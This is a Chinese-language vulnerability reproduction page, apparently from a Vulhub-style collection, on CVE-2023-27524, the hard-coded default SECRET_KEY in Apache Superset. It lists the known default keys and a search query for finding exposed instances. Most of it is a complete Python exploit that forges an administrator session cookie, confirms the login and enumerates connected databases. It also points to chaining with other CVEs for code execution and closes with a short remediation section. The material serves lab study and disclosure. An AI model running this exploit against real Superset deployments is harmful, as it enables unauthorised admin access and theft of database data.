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Web应用漏洞/Apache Superset 硬编码 JWT 密钥导致认证绕过漏洞 CVE-2023-27524.md
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Web应用漏洞/Apache Superset 硬编码 JWT 密钥导致认证绕过漏洞 CVE-2023-27524.md
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# Apache Superset 硬编码 JWT 密钥导致认证绕过漏洞 CVE-2023-27524
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## 漏洞描述
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Apache Superset 是一个开源的数据探索和可视化平台,设计为可视化、直观和交互式的数据分析工具。
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Apache Superset 存在一个硬编码 JWT 密钥漏洞(CVE-2023-27524)。该应用程序默认配置了一个预设的 `SECRET_KEY` 值,用于签名会话 Cookie。当管理员未更改这个默认密钥时,攻击者可以伪造有效的会话 Cookie 并以任意用户(包括管理员)身份进行认证。这允许未授权访问 Superset 仪表盘、连接的数据库,并可能导致远程代码执行。
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当与 [CVE-2023-37941](https://github.com/vulhub/vulhub/blob/master/superset/CVE-2023-37941/README.md) 结合使用时,未经身份验证的攻击者可以先绕过身份验证,然后利用反序列化漏洞执行任意代码。不过本文档只展示 CVE-2023-27524 的利用。
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参考链接:
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- https://www.horizon3.ai/attack-research/disclosures/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/
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- https://github.com/horizon3ai/CVE-2023-27524
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- https://github.com/apache/superset/pull/23186/files
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## 漏洞影响
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```
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Apache Superse <= 2.0.1
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```
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## 网络测绘
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```
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app.name="Apache Superset"
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```
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## 环境搭建
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Vulhub 执行以下命令启动 Apache Superset 2.0.1 服务器:
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```
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docker compose up -d
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```
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服务启动后,可以通过 `http://your-ip:8088` 访问 Superset。默认登录凭据为 `admin/vulhub`。
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## 漏洞复现
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这个漏洞存在的原因是 Superset 使用以下硬编码的 `SECRET_KEY` 作为密钥来签名 Cookie:
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- `\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h` (版本 < 1.4.1 的默认值)
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- `CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET` (版本 >= 1.4.1 的默认值)
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- `thisISaSECRET_1234`([部署模板](https://github.com/apache/superset/blob/85da86dc81cf9f5c4791a817befd3d7961ce97ac/helm/superset/templates/_helpers.tpl) 中的默认值)
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- `YOUR_OWN_RANDOM_GENERATED_SECRET_KEY`([文档](https://superset.apache.org/docs/configuration/configuring-superset/) 中的默认值)
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- `TEST_NON_DEV_SECRET`(docker-compose 中的默认值)
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以 docker-compose 中的默认值 `TEST_NON_DEV_SECRET` 为例,在 [#23186](https://github.com/apache/superset/pull/23186/files) 更新中,如果用户使用默认的 `SECRET_KEY` 进行配置,则不允许服务器启动:
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但是,docker 的 `.env` 文件下仍然存在默认值 `TEST_NON_DEV_SECRET`。如果通过 docker_compose 安装,仍然可以使用默认值 `TEST_NON_DEV_SECRET` 运行:
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在本漏洞环境中,默认值被设置为版本 >= 1.4.1 的默认值 `CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET`。我们使用 [CVE-2023-27524.py](https://github.com/vulhub/vulhub/blob/master/superset/CVE-2023-27524/CVE-2023-27524.py) 伪造管理员(用户 id 为 1)会话 Cookie:
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```shell
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# Install dependencies
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pip install flask-unsign==1.2.0
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# Forge an administrative session (whose user_id is 1) cookie
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python CVE-2023-27524.py --url http://your-ip:8088 --id 1 --validate
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```
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该脚本尝试使用已知的默认密钥破解会话 Cookie。如果成功,它将伪造一个新的会话 Cookie,其中 user_id=1(通常是管理员用户),并验证登录。
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将这个伪造的 JWT 令牌添加到 Cookie 值中,如 `Cookie: session=eyJ...`,即可访问 Superset 的后端 API:
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> 更进一步利用,在后台配置允许执行其他数据库语句,配合 PostgreSQL CVE-2019-9193 执行任意命令,或配合 CVE-2023-37941 反序列化漏洞执行任意代码。
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## 漏洞 POC
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```python
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from flask_unsign import session
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import requests
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import urllib3
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import argparse
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import re
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from time import sleep
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urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
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SECRET_KEYS = [
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b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
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b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
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b'thisISaSECRET_1234', # deployment template
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b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
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b'TEST_NON_DEV_SECRET' # docker compose
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]
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def main():
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parser = argparse.ArgumentParser()
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parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
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parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
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parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
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parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
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args = parser.parse_args()
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try:
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u = args.url.rstrip('/') + '/login/'
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headers = {
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'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
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}
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resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
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if resp.status_code != 200:
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print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
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return
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session_cookie = None
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for c in resp.cookies:
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if c.name == 'session':
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session_cookie = c.value
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break
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if not session_cookie:
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print('Error: No session cookie found')
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return
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print(f'Got session cookie: {session_cookie}')
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try:
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decoded = session.decode(session_cookie)
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print(f'Decoded session cookie: {decoded}')
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except:
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print('Error: Not a Flask session cookie')
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return
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match = re.search(r'"version_string": "(.*?)"', resp.text)
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if match:
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version = match.group(1)
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else:
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version = 'Unknown'
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print(f'Superset Version: {version}')
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for i, k in enumerate(SECRET_KEYS):
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cracked = session.verify(session_cookie, k)
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if cracked:
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break
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if not cracked:
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print('Failed to crack session cookie')
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return
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print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')
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try:
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user_id = int(args.id)
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except:
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user_id = args.id
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forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
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print(f'Forged session cookie for user {user_id}: {forged_cookie}')
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if args.validate:
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try:
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headers['Cookie'] = f'session={forged_cookie}'
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print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
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sleep(args.timeout)
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resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
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if resp.status_code == 302:
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print(f'Got 302 on login, forged cookie appears to have been accepted')
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validated = True
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else:
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print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
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except Exception as e_inner:
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print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
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if not validated:
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return
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print('Enumerating databases')
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for i in range(1, 101):
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database_url_base = args.url.rstrip('/') + '/api/v1/database'
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try:
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r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
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if r.status_code == 200:
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result = r.json()['result'] # validate response is JSON
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name = result['database_name']
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print(f'Found database {name}')
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elif r.status_code == 404:
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print(f'Done enumerating databases')
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break # no more databases
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else:
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print(f'Unexpected error: status code={r.status_code}')
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break
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except Exception as e_inner:
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print(f'Unexpected error: {e_inner}')
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break
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except Exception as e:
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print(f'Unexpected error: {e}')
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if __name__ == '__main__':
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main()
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```
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## 漏洞修复
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修复此问题需要安全地生成 `SECRET_KEY` 并对其进行配置,请按照 [此处的说明](https://superset.apache.org/docs/installation/configuring-superset/) 进行操作。此外,由于数据库密码等敏感信息也使用 `SECRET_KEY` 加密,因此需要使用新的 `SECRET_KEY` 重新加密这些信息。`superset` CLI 工具可自动执行密钥轮换过程, [请参阅此处](https://superset.apache.org/docs/installation/configuring-superset/#secret_key-rotation) 。
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